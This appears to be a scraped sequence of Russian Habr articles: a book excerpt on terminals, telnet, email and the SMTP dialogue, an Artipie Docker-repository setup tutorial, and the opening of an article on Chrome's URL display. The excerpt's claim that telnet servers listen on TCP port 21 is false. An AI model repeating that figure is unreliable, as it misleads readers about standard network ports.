В этой статье мы разобрали, как запустить HAProxy Kubernetes Ingress Controller снаружи Kubernetes-кластера. Это избавляет от необходимости запуска дополнительного балансировщика нагрузки. Такой подход позволит снизить время ожидания клиента, поскольку требует меньшего количества сетевых переходов. Для обеспечения высокой доступности вы дополнительно можете настроить Keepalive.
От переводчиков
---------------
В эту среду, 1-го декабря в 19:00, мы в KTS проведем открытый вебинар на тему:
«**От кода до продакшена: деплоим приложение в Kubernetes с нуля»**
Приходите посмотреть и послушать:
[→ Почитать про вебинар и зарегистрироваться](https://metaclass.kts.studio/kubernetes?utm_source=habr#request) | https://habr.com/ru/post/591853/ | null | ru | null |
# Книга «Теоретический минимум по Computer Science. Сети, криптография и data science»
[](https://habr.com/ru/company/piter/blog/665894/) Привет, Хаброжители! Хватит тратить время на занудные учебники! Это краткое и простое руководство предназначено для читателей, не заботящихся об академических формальностях. Большинство технологических прорывов нашей эпохи происходят в цифровой среде, создаваемой программистами. Ученые-компьютерщики объединяют различные области исследований и расширяют возможности этого нового мира. Чтобы научиться плавать в океане информации, необходимо разбираться в основах сетевых технологий, криптографии и науке о данных. Вы узнаете как эффективно манипулировать данными, освоите машинное обучение и современные концепциии безопасности. Раскройте мощь Computer Science и станьте гуру цифровой эпохи!
**Для кого эта книга**
Если вы начинающий программист, эта книга для вас. Опыта программирования не требуется, здесь объясняются идеи и механизмы: мы хотим, чтобы вы узнали, как работают всякие классные штуки. Если вы хотите понять, как устроен интернет, как хакеры атакуют компьютерные системы или почему данные — это золото XXI века, смело читайте дальше. А тем, кто уже изучал computer science, эта книга позволит закрепить знания и опыт.
### Доступ
В XIX веке люди-операторы должны были декодировать электрические сигналы телеграфа на человеческий язык и наоборот. На рубеже веков их работу облегчило новое устройство, получившее название «телетайп». Эти машины были подключены к телеграфным проводам и включали в себя механическую пишущую машинку, которая могла автоматически печатать входящие телеграфные символы.
Телетайпы также имели клавиатуру, поэтому символы, набранные их оператором, автоматически передавались по телеграфному проводу. Это позволяло людям общаться на больших расстояниях: сообщения, набранные на одной машинке, печатались второй машинкой на другой стороне линии.
**Терминалы**
Когда в 1950-х годах появились первые коммерческие электронные компьютеры‚ у них еще не было экранов. Чтобы получать обратную связь от машин, люди должны были подключать свои входные/выходные соединения к телетайпам. Так они могли передавать данные и инструкции на компьютер, набирая текст, и ответ их компьютера печатался в режиме реального времени. Такие телетайпы, которые позволяют взаимодействовать с компьютерами через текст, называются терминалами.
Компьютерная программа, которая обрабатывает информацию и инструкции, поступающие в терминал и исходящие из него, называется оболочкой. Для того чтобы взаимодействовать с людьми, она использует интерфейс командной строки (Command-Line Interface, CLI). Когда пользователь терминала вводит команду в CLI, оболочка подтверждает каждый символ, прося терминал распечатать его. При этом пользователь может в режиме реального времени видеть, что именно он печатает. Пользователь может ввести непечатаемый символ (Non-Printing Character, NPC), называемый возвратом каретки, и оболочка выполнит всю строку как команду, при необходимости запросив терминал для печати каких-то выходных данных‚ после чего будет ожидать следующей команды.
В 1960-х годах появились стеклянные телетайпы. Они работали точно так же, как и старые, за исключением того, что они отображали символы на экране вместо печати на бумаге. Вот почему и по сей день отображение текста на экране терминала называется печатью!
Экранам было разрешено создавать курсор: подвижный индикатор, указывающий место взаимодействия оболочки и экрана. Пользователи начали использовать непечатаемые символы, чтобы просить оболочку переместить курсор. Важно отметить, что курсоры позволяли заменять или удалять ранее напечатанный текст, что делало взаимодействие с компьютерами более эффективным. Это новшество вызвало всплеск развития компьютерных программ с интерактивными текстовыми интерфейсами.
Видеомониторы были представлены в конце 1960-х годов, а первый коммерческий компьютер с графическим интерфейсом (Graphical User Interface, GUI) появился в 1979 году. Сегодня практически все персональные компьютеры, такие как ноутбуки и телефоны, работают с оболочкой, которая управляет графическим интерфейсом: мы взаимодействуем со значками и окнами с помощью мыши, трекпада и сенсорного экрана (рис. 2.3).
Но многие айтишники продолжают взаимодействовать со своими компьютерами через CLI. Это может быть необходимым, например, для работы с корпоративными серверами, на которых не поддерживается графический интерфейс, но также и по личным предпочтениям. Некоторые используют свой графический интерфейс только для того, чтобы открыть эмулятор терминала: приложение, которое подключается к оболочке CLI компьютера и превращает ваш экран и клавиатуру в стеклянный телетайп.
Эмуляторы терминалов — это мощные интерфейсы. С помощью CLI можно выполнять практически любые текстовые задачи, такие как организация папок, отправка электронной почты, написание кода и компиляция ПО (рис. 2.4). Мы написали и отредактировали эту книгу в эмуляторах терминалов!
**TELNET**
В течение большей части 1950-х и 1960-х годов терминал должен был быть подключен непосредственно к компьютеру, чтобы взаимодействовать с его оболочкой. Однако все изменилось в 1969 году, когда инженеры разработали способ подключения терминалов к любому компьютеру в сети. Они называли эту технологию teletype over network или telnet.
Сегодня эмуляторы терминалов могут использовать telnet для доступа к удаленным компьютерным оболочкам через интернет. CLI удаленной оболочки должен быть чрезвычайно надежным, так как неупорядоченные или отсутствующие символы могут привести к выполнению ошибочных и потенциально разрушительных команд. По этой причине предпочтительным протоколом транспортного уровня для telnet является TCP, а не UDP. Серверы telnet‚ как правило‚ ожидают подключения через TCP-порт 21.
Когда через порт 21 установлено TCP-соединение, сервер telnet запускает оболочку и отправляет все входящие данные из соединения в оболочку. Вывод оболочки отправляется клиенту. На стороне клиента все символы, введенные пользователем, посимвольно передаются на сервер в режиме реального времени. И когда клиент получает один или несколько символов, они отображаются на эмуляторе терминала.
Обычно после установки соединения telnet удаленная оболочка запрашивает имя пользователя и пароль с целью аутентификации. После входа в систему клиент telnet работает как терминал, подключенный непосредственно к серверу. Если на компьютере работает сервер telnet, любой компьютер, подключенный к интернету, может выступать в качестве терминала для этого сервера. Гики способны управлять компьютером на другом континенте, как если бы они сидели перед его экраном и клавиатурой!
Протоколы связи через интернет используются не только программистами. А теперь рассмотрим самые популярные приложения интернета, начиная с наиболее известного способа обмена письменными сообщениями.
**Почта**
В 1960-х годах немногие компьютеры совместно использовались множеством пользователей. В то время «почтовые» программы уже были популярны, но они позволяли оставлять сообщение только коллеге, работающему на том же самом компьютере. Эти программы просто добавляли текст к файлам, которые служили почтовыми ящиками. Каждому пользователю назначался один файл почтового ящика. Когда пользователи входили в систему, появлялись оповещения, если в их почтовых ящиках находились новые сообщения.
В 1970-х годах компьютерные сети выросли и появилась технология доступа к файлам на удаленных компьютерах. Почтовые программы эволюционировали для добавления текста в почтовые ящики уже удаленных компьютеров. Это позволяло пользователям удаленных компьютеров обмениваться сообщениями, как если бы они работали на одной машине. Со временем программисты улучшили эффективность этих систем путем постепенного принятия общего формата сообщений, который выглядел так:
```
From: White at SRI-ARC
Date: 24 JUL 1973 1527-PDT
Subject: Multi-Site Journal Meeting Announcement
NIC: 17996
At 10 AM Wednesday 25-JULY there will be a meeting
to discuss a Multi-Site Journal in the context of
the Utility. Y'all be here.
```
Сообщение начинается с заголовков, которые содержат общую информацию о сообщении, такую как его отправитель, получатель и тема. Каждый заголовок занимает одну строку, и двоеточие отделяет имя заголовка от его содержания. После заголовков пустая строка сигнализирует о начале тела сообщения. Эти сообщения широко использовались программистами, которые стали называть их email (e расшифровывается как electronic). По сей день письма, которыми мы обмениваемся, следуют такому формату.
В 1973 году на вышеприведенное письмо можно было ответить, добавив новое сообщение в почтовый файл Уайта на компьютере SRI-ARC. В то время TCP/IP и DNS еще не было, и компьютеры получали такие вот прозвища. Позже слово at уступило позиции символу @, поэтому почтовый ящик в примере был бы записан как White@SRI-ARC. Для справки‚ SRI расшифровывается как Stanford Research Institute — это одна из организаций, которая помогла создать и стандартизировать этот формат сообщений.
**Почтовые серверы**
Компьютеры постепенно становились менее дорогими, и к 1980-м годам уже не было ничего необычного в том, что кто-то работал на нескольких машинах. Но было бы легче связываться с людьми по электронной почте, если бы у каждого человека его основной адрес почтового ящика был в одном месте. Многие группы пользователей принимали решение держать свои основные ящики на одном хосте, как если бы все по-прежнему работали на одном компьютере.
Организации помогали этому, назначая один из своих компьютеров почтовым сервером.
В то время студенты университетов и инженеры-технологи получали учетную запись на почтовом сервере своей организации, независимо от того, какие компьютеры они использовали. Основной адрес почты каждого указывал на этот почтовый сервер. С разных компьютеров люди использовали telnet для входа на почтовый сервер и чтения электронных писем, хранящихся в их отдельных файлах почтовых ящиков.
В 1985 году была запущена DNS, и она значительно улучшила систему электронной почты. Организации начали использовать доменные имена и создавать записи MX для публичного объявления своих почтовых серверов‚ и доменные имена стали стандартным способом адресации почтовых ящиков. Например, ящик с именем White на почтовом сервере SRI получил адрес white@sri.com.
Имея такой адрес, любой может использовать DNS для обнаружения почтового сервера, на котором хранится файл почтового ящика, и отправки IP-пакетов на этот компьютер. Но, чтобы сохранить новое сообщение на чужом сервере, сначала нужно было получить доступ к файлам его ящика. Это было непростой задачей, поэтому инженеры принялись изобретать способы получения писем без внешних манипуляций с какими-либо файлами на принимающем сервере.
Настала заря протоколов электронной почты. Как NTP обеспечивает базовый функционал для обмена временем, так и почтовые протоколы позволяют программам обмениваться письмами. Были разработаны различные протоколы, и вскоре каждый почтовый сервер придерживался одного из них. Теперь электронные письма можно было отправлять практически в любое место, куда могли дойти IP-пакеты.
Поскольку любая организация, подключенная к интернету, могла участвовать в таком обмене, электронная почта быстро стала популярной. То, что начиналось как простые записки, оставленные на столе друга, постепенно становилось столь же важным, как и традиционная переписка.
В 1990-х годах интернет-провайдеры начали предоставлять доступ к интернету в домах людей. В качестве одной из основных продающих услуг интернет-провайдеры часто использовали возможность открывать учетные записи электронной почты на своих серверах. В те годы персональные компьютеры начали поставлять с уже предустановленными почтовыми программами. Люди в основном использовали их для подключения к своему интернет-провайдеру или почтовому серверу работодателя.
Электронная почта распространилась подобно лесному пожару. Обычные люди толпами стекались в интернет, иногда исключительно для того, чтобы воспользоваться почтой. И один протокол стал главным фактором этой революции электронной почты. Узнаем же, как передавать по нему сообщения между хостами и почтовыми серверами.
**SIMPLE MAIL TRANSFER PROTOCOL**
Наиболее широко используемым протоколом является Simple Mail Transfer Protocol (SMTP). Он задает правила общения между сервером электронной почты и клиентским компьютером. Как мы увидим далее, SMTP более сложен, чем протоколы запроса-ответа, такие как DNS и NTP.
Во-первых, письма могут содержать сообщения, которые не помещаются в один IP-пакет. Когда электронная почта передается многими IP-пакетами, важно, чтобы их полезная нагрузка была собрана в нужном порядке. По этой причине SMTP работает на TCP, а не на UDP.
Почтовые серверы ожидают входящих подключений через TCP-порт 25. Когда соединение установлено, сервер начинает взаимодействие. Он посылает сообщение, чтобы идентифицировать себя:
```
220 mail-server.example.com
```
Все сообщения, отправляемые сервером, начинаются с трехзначного номера, называемого кодом возврата. SMTP определяет множество различных кодов, каждый из которых имеет свое собственное значение. В частности, код 220 сообщает, что сервер готов к получению инструкций. После кода сервер указывает собственное имя. В ответ клиент должен отправить команду HELO, чтобы идентифицировать себя:
```
HELO client.code.energy
```
На этом этапе сервер решает, хочет ли он продолжить общение, основываясь на том, кем является клиент. Некоторые почтовые серверы используют обратный DNS и сравнивают имя клиента, о котором он сам сообщил, с именем, связанным с его IP-адресом. Если почтовый сервер решает продолжить, он отправляет код ответа 250, который означает, что действие, запрошенное клиентом, было принято:
```
250 mail-server.example.com
```
При этом первом обмене и клиент, и сервер подтвердили, что они собираются передать письмо. Они также проверили, что каждая сторона общается с предполагаемой другой стороной. Далее клиенту нужно указать обратный адрес электронной почты, которая будет передана. Если сервер не может доставить электронное письмо, он отправит другое письмо на обратный адрес, сообщив о проблеме:
```
MAIL FROM:
```
Опять же у сервера есть возможность принять или отклонить эти данные. Некоторые почтовые серверы настроены на прием только с определенных адресов. Если адрес принят, сервер возвращает код 250:
```
250 Ок
```
Затем клиент должен сообщить серверу о целевом почтовом ящике:
```
RCPT TO:
```
Сервер подтверждает, принимает ли он этот почтовый ящик назначения. Если сервер соглашается принять сообщение, он использует тот же код возврата 250, сообщая клиенту, что тот может продолжить:
```
250 Ок
```
Теперь клиент может отправить команду DATA. Эта команда просит сервер начать передачу сообщения электронной почты:
```
DATA
```
Сервер подтверждает и инструктирует клиента сигнализировать об окончании передачи строкой, содержащей только точку. Код 354 информирует клиента о том, что сервер будет рассматривать следующие символы, которые он получит‚ как часть сообщения электронной почты:
```
354 End data with .
```
Затем клиент передает сообщение. Заголовки From, To и Date являются обязательными и должны присутствовать в каждом электронном письме. Другие заголовки, такие как Subject, обычно используются, но не являются обязательными. Тело сообщения также необязательно. Отправка почты без тела сообщения похожа на отправку пустого конверта. Вот пример сообщения, которое может передать клиент:
```
From:
Date: Wed, 27 Nov 2002 15:30:34 +0100
To:
That brain of mine is something more than
merely mortal; as time will show.
.
```
После получения завершающих . сервер проверяет допустимость полученных данных и формально принимает сообщение, если это так. Многие серверы также сообщают клиенту внутренний идентификатор, который они назначают полученному электронному письму:
```
250 Ok: queued as 1079212633C
```
На этом этапе клиент может быть уверен, что сервер либо доставит сообщение, либо возвратит1 его с сообщением об ошибке. Клиент может продолжить и отправить другую команду MAIL FROM для отправки новых писем. В противном случае он может вежливо сказать, что закончил, отправив QUIT:
```
QUIT
```
Получив это, сервер должен попрощаться и закрыть TCP-соединение:
```
221 Bye
```
Диалог, подобный этому, происходит каждый раз, когда вы отправляете письмо, — ваше почтовое ПО проводит его незаметно от вас. Первоначально в SMTP не было аутентификации: серверы безоговорочно верили‚ что клиенты отправляли правильные электронные письма. К сожалению, как только электронная почта стала популярной, безрассудные интернет-пользователи принялись отправлять всякий спам на все адреса, которые могли найти. Некоторые даже отправляют мошеннические письма с нелегитимными полями From.
Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/product/teoreticheskiy-minimum-po-computer-science-seti-kriptografiya-i-data-science?_gs_cttl=120&gs_direct_link=1&gsaid=42817&gsmid=29789&gstid=c)
» [Оглавление](https://www.piter.com/product/teoreticheskiy-minimum-po-computer-science-seti-kriptografiya-i-data-science#Oglavlenie-1)
» [Отрывок](https://www.piter.com/product/teoreticheskiy-minimum-po-computer-science-seti-kriptografiya-i-data-science#Otryvok-1)
По факту оплаты бумажной версии книги на e-mail высылается электронная книга.
Для Хаброжителей скидка 30% по купону — **Computer Science**
**На сайте появился Дисконт**
Представлены [компьютеные](https://www.piter.com/collection/diskont-2) книги издательства и [все остальные](https://www.piter.com/collection/diskont) книги.
«Дисконт» — это старые издания, которых давно нет в продаже, и новинки с незначительным браком:
-потертости
-мятые страницы
-наклеенные ценники или следы от них
-побитые при транспортировке углы
-магнитная защитная наклейка
ВАЖНО: в этих книгах нет типографских браков! Конкретно по каждой книге сказать, в чем брак нет возможности.
На все книги категории «Дисконт» — скидки! Некоторые издания можно купить с выгодой до 70%! Так же можно применять купоны к книгам в дисконте! | https://habr.com/ru/post/665894/ | null | ru | null |
# Готовим приватные репозитории с помощью Artipie
Многочисленные санкционные ограничения могут стать преградой для использования существующих систем управления бинарными репозиториями, например, при приобретении необходимых лицензий. Таким образом, альтернатива существующим инструментам может сыграть положительную роль при организации работы с артефактами организации.
Artipie - это бесплатный менеджер бинарных репозиториев с открытым исходным кодом, поддерживающий все основные форматы пакетов и артефактов, который позволяет размещать их локально или в облачном хранилище.
Двоичные закруткиВведение
--------
Менеджер бинарных репозиториев (МБР) - это программный инструмент предназначенный для оптимизации загрузки, выгрузки и хранения файлов в бинарном формате, используемых и производимых в контексте разработки программного обеспечения (ПО). Являясь одним из ключевых компонентов DevOps инструментов, МБР расположен сразу после конвейера сборки. Именно поэтому его иногда называют “хранилищем сборок”, “хранилищем артефактов” или “хранилищем состояния конвейера”.
Традиционный конвейер DevOps ожидает исходный код, который автоматически проверяется, тестируется, упаковывается и версионируется в артефакт (бинарный файл), такой как .jar, .tar, .zip или другие форматы. Затем артефакт, как правило, хранится вне репозитория исходного кода и должен быть доступным для последующих этапов конвейера непрерывной доставки (Continuous Delivery). Будучи центральной точкой для управления двоичными файлами и их зависимостями, а также интегрированным хранилищем для сборок программного обеспечения, разработанного внутри компании, предполагается, что МБР будет размещать эти артефакты.
Конвейер поставки среднестатистической команды разработчиков ПОПрограммный проект практически любого размера должен хранить свои бинарные артефакты в репозитории, чтобы обеспечить доступ к ним программистов или инструментов, обеспечивающих непрерывную интеграцию (Continuous Integration), доставку (Continuous Delivery) и развертывание (Continuous Deployment). Поскольку качество программного обеспечения, управляющего репозиториями, оказывает существенное влияние на работу команд разработчиков, МБР должен отвечать таким требованиям, как:
* Интегрируемость - существует множество инструментов автоматизации сборки для каждого языка программирования, например, Maven для Java, Npm для JavaScript или Rake для Ruby. Существует также множество инструментов непрерывной интеграции, таких как Jenkins, CircleCI или Travis. Поскольку автоматизация является наиболее важным аспектом DevOps, ожидается, что для каждого или большинства из них будут установлены плагины, обеспечивающие бесшовную интеграцию с МБР.
* Доступность - артефакты являются важными компонентами процесса разработки программного обеспечения, и они должны быть доступны программисту или инструменту сборки немедленно, когда это необходимо, без даже незначительных задержек, и поставляться с максимально возможной скоростью.
* Масштабируемость - большинство артефактов сборки представляют собой большие двоичные файлы; размер некоторых из них может превышать 1 Гб, например, образы Docker или [.war](https://ru.wikipedia.org/wiki/WAR_(%D1%82%D0%B8%D0%BF_%D1%84%D0%B0%D0%B9%D0%BB%D0%B0)) (полное веб-приложение для Java). МБР должен быть способен поддерживать большие наборы данных, вплоть до практически полного отсутствия ограничений по размеру.
* Надежность - возможность повреждения данных из-за программных или аппаратных сбоев должна быть исключена настолько, насколько это возможно.
Artipie
-------
[Artipie](https://github.com/artipie/artipie) - это бесплатный инструмент для управления артефактами. Это не просто сервис, это конструктор, который включает в себя множество компонентов для обеспечения поддержки практически всех широко используемых форматов пакетов, таких как: [Maven](https://mvnrepository.com/repos/central), [Docker](https://hub.docker.com/search), [Debian](https://www.debian.org/doc/manuals/debian-reference/ch02.en.html), [NPM](https://www.npmjs.com/package/npm), [Go](https://go.dev/doc/modules/managing-dependencies), [Helm](https://helm.sh/docs/topics/chart_repository/), [Ruby](https://rubygems.org), [Python](https://pypi.org), [Anaconda](https://www.anaconda.com), [HexPm](https://hex.pm), [Composer](https://getcomposer.org). Artipie позволяет использовать различные варианты хранения данных, такие как: файловое хранилище, [S3](https://aws.amazon.com/ru/s3/)-совместимое облачное хранилище, [Redis](https://redis.io) хранилище, а также предоставляет интерфейс для использования хранилища, реализуемого пользователем. Кроме того, существует функционал, позволяющий управлять доступом пользователей и при настройке с использованием организаций - групп пользователей.
Artipie это проект с открытым исходным кодом, который стартовал в 2020 году и активно развивается в настоящее время. Все его компоненты основаны на принципах реактивности, асинхронного взаимодействия и неблокирующих потоках.
Архитектура Artipie состоит из 3 основных частей:
1. HTTP-движок Artipie
2. Адаптеры репозиториев
3. Хранилища
Структура Artipie### HTTP-движок Artipie
HTTP-движок Artipie - это Java-приложение, которое предоставляет API для операций операций доступа к репозиторию и управления им. Он маршрутизирует запросы к адаптеру репозитория и обеспечивает механизмы аутентификации и авторизации. HTTP-движок Artipie построен на базе фреймворков [Vert.x](https://vertx.io/) и [RxJava](https://github.com/ReactiveX/RxJava), что обеспечивает легкость, гибкость и масштабируемость проекта за счет асинхронных, реактивных и неблокирующих операций.
Наиболее распространенный поток действий для операции загрузки данных в Artipie выглядит следующим образом: клиент отправляет некоторый бинарный артефакт на сервер, который находит ответственный адаптер репозитория для обработки запроса; адаптер репозитория сохраняет данные в хранилище; после завершения он обновляет метаданные репозитория (некоторые репозитории работают иначе, например, Docker использует метаданные как путь).
Схема загрузки артефакта для Maven-репозитория с реализацией S3 для хранения данных**Адаптеры репозиториев**
Адаптеры репозиториев - это независимые проекты, направленные на реализацию API для взаимодействия с клиентом репозитория и слоями генерации метаинформации для конкретного типа пакета (npm, maven, hexpm и т.д.). HTTP-движок Artipie использует адаптеры для обеспечения функциональности МБР. Каждый адаптер репозитория инкапсулирует API для доступа к бинарным данным и файлам метаданных.
Artipie поддерживает следующие типы репозиториев:
* [Docker](https://hub.docker.com/search) - приватный реестр для Docker образов.
* [Maven](https://mvnrepository.com/repos/central) - репозиторий для Java, Kotlin, Groovy, Scala и Clojure артефактов и зависимостей различных типов, таких как: .jar, .war, .klib и т.д.
* [NPM](https://www.npmjs.com/package/npm) - хранилище для доступа к коду и пакетам языка JavaScript.
* [PyPI](https://pypi.org) - каталог пакетов Python.
* [Anaconda - пакеты для data science для языков Python, R, Lua, C, C++ и т.д.](https://www.anaconda.com)RPM - репозиторий пакетов .rpm для RHEL, PCLinuxOS, Fedora, AlmaLinux, CentOS, openSUSE, OpenMandriva, Oracle Linux и др.
* [Gem](https://rubygems.org) - хостинг RubyGem для языка Ruby.
* [Go](https://go.dev/doc/modules/managing-dependencies) - репозиторий пакетов для языка Go.
* [Хранение бинарных файлов](https://github.com/artipie/files-adapter) - размещайте любые файлы, которые вам нужны.
* [Helm](https://helm.sh/docs/topics/chart_repository/) - репозиторий Helm-чартов.
* [NuGet](https://www.nuget.org) - сервис хранения для .NET пакетов.
* [Debian](https://www.debian.org/doc/manuals/debian-faq/pkgtools.en.html) - репозиторий пакетов для дистрибутивов Linux на базе Debian: Ubuntu, MX Linux, Mint, Raspberry Pi OS, Parrot OS и т.д.
* [HexPM](https://hex.pm) - менеджер пакетов для экосистемы Erlang и Elixir.
* [Composer](https://getcomposer.org) - репозиторий пакетов для языка PHP.
Количество адаптеров постоянно растет, и вы можете увидеть будущие адаптеры на [дорожной карте Artipie](https://github.com/orgs/artipie/projects/3).
### Хранилища
Адаптеры репозиториев помещают загруженные и созданные бинарные файлы в хранилище. В Artipie используется абстрактное хранилище, которое обеспечивает абстрагирование над физической системой хранения данных, что позволяет легко реализовать интерфейс практически для любой системы хранения данных. Хранилище выполняет две основные операции: поместить и получить элемент из хранилища, а также несколько дополнительных функций, таких как: проверка существования элемента, получение списка элементов хранилища или получение метаданных элемента.
На данный момент существуют следующие реализации хранилищ:
1. Хранение в файловой системе.
2. Хранилище на базе протокола [S3](https://aws.amazon.com/ru/s3/).
3. [Redis](https://redis.io) хранилище.
Абстрактное хранилище также предоставляет интерфейс, который может быть расширен и реализован для поддержки любого нужного типа хранилища.
Использование Artipie
---------------------
Существует два варианта работы с Artipie:
* [Запуск docker-образа Artipie](https://github.com/artipie/artipie#quickstart) с помощью Docker Compose.
* [Запуск Artipie как jar архива](https://github.com/artipie/artipie/wiki) на JVM.
Далее рассмотрим простой пример локального запуска Artipie и его настройки для хранения docker-образов на компьютере с ОС Windows.
### Подготовка
Для запуска Artipie необходимо [установить Docker](https://docker.com/get-started) и [Docker Compose](https://docs.docker.com/compose/install/), затем вы можете просто клонировать [репозиторий GitHub с примером](https://github.com/Swizbiz/artipie), разместив его по пути `C:\`, или выполнить следующие шаги:
1. Создайте директорию для проекта Artipie (например `C:\artipie`).
2. Создайте директорию для конфигурационного файла Artipie (например `C:\artipie\config`) и разместите там yml файл с конфигурацией сервера Artipie. В данном примере файл называется `artipie.yml`. Вы должны указать путь, по которому Artipie найдет все конфигурации репозиториев. В настоящем примере путь к конфигурации docker репозитория указан как `/var/artipie/repo`, потому что монтируется директория с локальной Windows машины `C:\artipie\repo` в каталог `/var/artipie/repo` в docker контейнере Artipie. Это описано в `docker-compose.yml` на шаге №4.
```
meta:
storage:
type: fs
path: /var/artipie/repo #path to repository configurations
layout: flat
```
3. Создайте директорию для конфигурационных файлов репозиториев (например `C:\artipie\repo`), затем поместите в нее yml-файл с конфигурацией репозитория. Имя этого файла будет именем создаваемого репозитория. К примеру, файл называется `my-docker.yml` и соответственно репозиторий будет доступен с использованием имени ***my-docker***. Чтобы настроить хранилище с типом FileStorage достаточно задать путь, по которому Artipie будет хранить все элементы. *Система должна иметь права на чтение и запись в этой директории*, чтобы создавать файлы по этому пути. В данном примере используется диретория `/var/artipie/images`*.*
```
repo:
type: docker
storage:
type: fs #тип = FileStorage
path: /var/artipie/images #место где будут сохранятся файлы
```
4. Создайте файл docker-compose.yml со следующим набором инструкций:
```
version: "3.3"
services:
artipie:
image: artipie/artipie:latest
container_name: artipie
restart: unless-stopped
ports:
- "8080:8080"
volumes:
- /C/artipie/repo:/var/artipie/repo # монтируем папку с конфигурацией репозитория
- /C/artipie/config:/etc/artipie/ # монтируем папку с конфигурацией сервера Artipie
```
### Запуск
Теперь откройте консоль, перейдите в папку с файлом `docker-compose.yml` и запустите Artipie с помощью команды: `docker-compose up`. Следующий вывод в консоль показывает, что Artipie запустился на порту 8080 и нашел файл конфигурации репозитория `my-docker.yml`.
```
C:\>cd C:/artipie
C:\artipie>docker-compose up
[+] Running 2/2
- Network artipie_default Created 0.7s
- Container artipie Created 0.1s
Attaching to artipie
…
artipie | [INFO] main com.artipie.VertxMain - Artipie was started on port 8080
artipie | [INFO] ForkJoinPool.commonPool-worker-1 com.artipie.asto.fs.FileStorage - Found 1 objects by the prefix "" in /var/artipie/repo by /var/artipie/repo: [my-docker.yml]
…
```
### Использование
#### Push образа
Для создания образа, который будет использоваться в данном примере, мы воспользуемся уже существующим образом, доступным на [Docker Hub](https://hub.docker.com/_/alpine). В данном случае - это легковесный образ с Alpine Linux.
1. Скачайте образ alpine с помощью команды: `docker pull alpine`:
```
C:\artipie>docker pull alpine
Using default tag: latest
latest: Pulling from library/alpine
Digest: sha256:686d8c9dfa6f3ccfc8230bc3178d23f84eeaf7e457f36f271ab1acc53015037c
Status: Downloaded newer image for alpine:latest
docker.io/library/alpine:latest
```
2. С помощью следующей команды мы создадим наш docker образ под названием *myfirstimage*, который основан на образе *alpine*, чтобы разместить его в нашем репозитории Artipie: `docker image tag alpine localhost:8080/my-docker/myfirstimage`. Прверим, что Docker содержит 2 образа - *alpine* и *localhost:8080/my-docker/myfirstimage,* с помощью команды`docker images`:
```
C:\artipie>docker image tag alpine localhost:8080/my-docker/myfirstimage
C:\artipie>docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
localhost:8080/my-docker/myfirstimage latest e66264b98777 7 weeks ago 5.53MB
alpine latest e66264b98777 7 weeks ago 5.53MB
```
3. Теперь нам нужно войти в наш собственный реестр под стандартным пользователем *artipie|artipie*, поскольку реестр Docker поддерживает только авторизованных пользователей: `docker login --username artipie localhost:8080`:
```
C:\artipie>docker login --username artipie localhost:8080
Password: artipie
Login Succeeded
```
4. И наконец, мы можем поместить данный образ в наш репозиторий командой: `docker push localhost:8080/my-docker/myfirstimage`:
```
C:\artipie>docker push localhost:8080/my-docker/myfirstimage
Using default tag: latest
The push refers to repository [localhost:8080/my-docker/myfirstimage]
24302eb7d908: Pushed
latest: digest: sha256:4ff3ca91275773af45cb4b0834e12b7eb47d1c18f770a0b151381cd227f4c253 size: 528
```
5. Для проверки результата мы можем подключиться к контейнеру командой: `docker exec -it artipie bash` и перейти в директорию`/var/artipie/images/my-docker` для того, чтобы найти папку **docker** с созданными папками и blob-файлами.
#### Pull образа
Перед скачиванием образа из нашего репозитория удалите существующий образ из списка локальных образов командой: `docker image rm localhost:8080/my-docker/myfirstimage`. Убедитесь, что образ был удален, и теперь есть только 1 образ(*alpine*): `docker images`:
```
C:\artipie>docker image rm localhost:8080/my-docker/myfirstimage
Untagged: localhost:8080/my-docker/myfirstimage:latest
Untagged: localhost:8080/my-docker/myfirstimage@sha256:4ff3ca91275773af45cb4b0834e12b7eb47d1c18f770a0b151381cd227f4c253
C:\artipie>docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest e66264b98777 7 weeks ago 5.53MB
```
Образ можно извлечь с помощью команды: `docker pull localhost:8080/my-docker/myfirstimage`. После выполнения команды можно убедиться, что теперь снова доступны два образа (*alpine* and *localhost:8080/my-docker/myfirstimage*): `docker images`:
```
C:\artipie>docker pull localhost:8080/my-docker/myfirstimage
Using default tag: latest
latest: Pulling from my-docker/myfirstimage
Digest: sha256:4ff3ca91275773af45cb4b0834e12b7eb47d1c18f770a0b151381cd227f4c253
Status: Downloaded newer image for localhost:8080/my-docker/myfirstimage:latest
localhost:8080/my-docker/myfirstimage:latest
C:\artipie>docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
localhost:8080/my-docker/myfirstimage latest e66264b98777 7 weeks ago 5.53MB
alpine latest e66264b98777 7 weeks ago 5.53MB
```
Заключение
----------
Бинарный репозиторий является ключевым элементом любого конвейера DevOps, и каждому проекту требуются свой тип бинарного репозитория для хранения артефактов. Почти каждая экосистема языка программирования имеет свой собственный тип хранилища артефактов. Artipie предоставляет широкий спектр адаптеров для основных форматов упаковки в одном продукте, позволяя управлять всеми артефактами из одного места. Он даёт возможность добавления реализации собственного хранилища бинарных данных в дополнение к файловому хранилищу, Redis и S3.
Artipie - хороший выбор для хранения бинарных артефактов, поскольку он прост в настройке, быстро растет и развивается, а также поддерживает множество существующих типов репозиториев. Являясь продуктом с открытым исходным кодом, он не требует оплаты для использования.
Более подробную информацию об Artipie вы можете найти на [GitHub](https://github.com/artipie). Если у вас есть вопросы или предложения - можете задать их в [Telegram](https://t.me/artipie) группе.
Чтобы поддержать развитие Artipie, не стесняйтесь поставить проекту звезду на [GitHub](https://github.com/artipie/artipie). | https://habr.com/ru/post/687394/ | null | ru | null |
# Почему Google меняет стандартный интерфейс URL в браузере
В сентябре прошлого года разработчики Chrome выдвинули радикальное предложение: [изменить отображение URL в браузере](https://habr.com/ru/company/globalsign/blog/422601/). В некоторых изданиях сразу появились статьи с паническими заголовками [«Google хочет убить URL»](https://habr.com/ru/post/422895/)
Теоретически, Google выгодно, чтобы пользователи заходили на все сайты через поиск, а не напрямую по URL из браузера. Наверное, для этой цели в своё время адресную строку совместили с поисковой строкой. Но до полного исчезновения адресной строки ещё далеко. Пока что Google делает лишь первые шаги, по чуть-чуть отдавая браузеру Chrome контроль над отображением URL. Это делается для безопасности пользователей.
Google говорит, что синтаксис URL слишком труден для массовой аудитории.
Сложный синтаксис URL
=====================
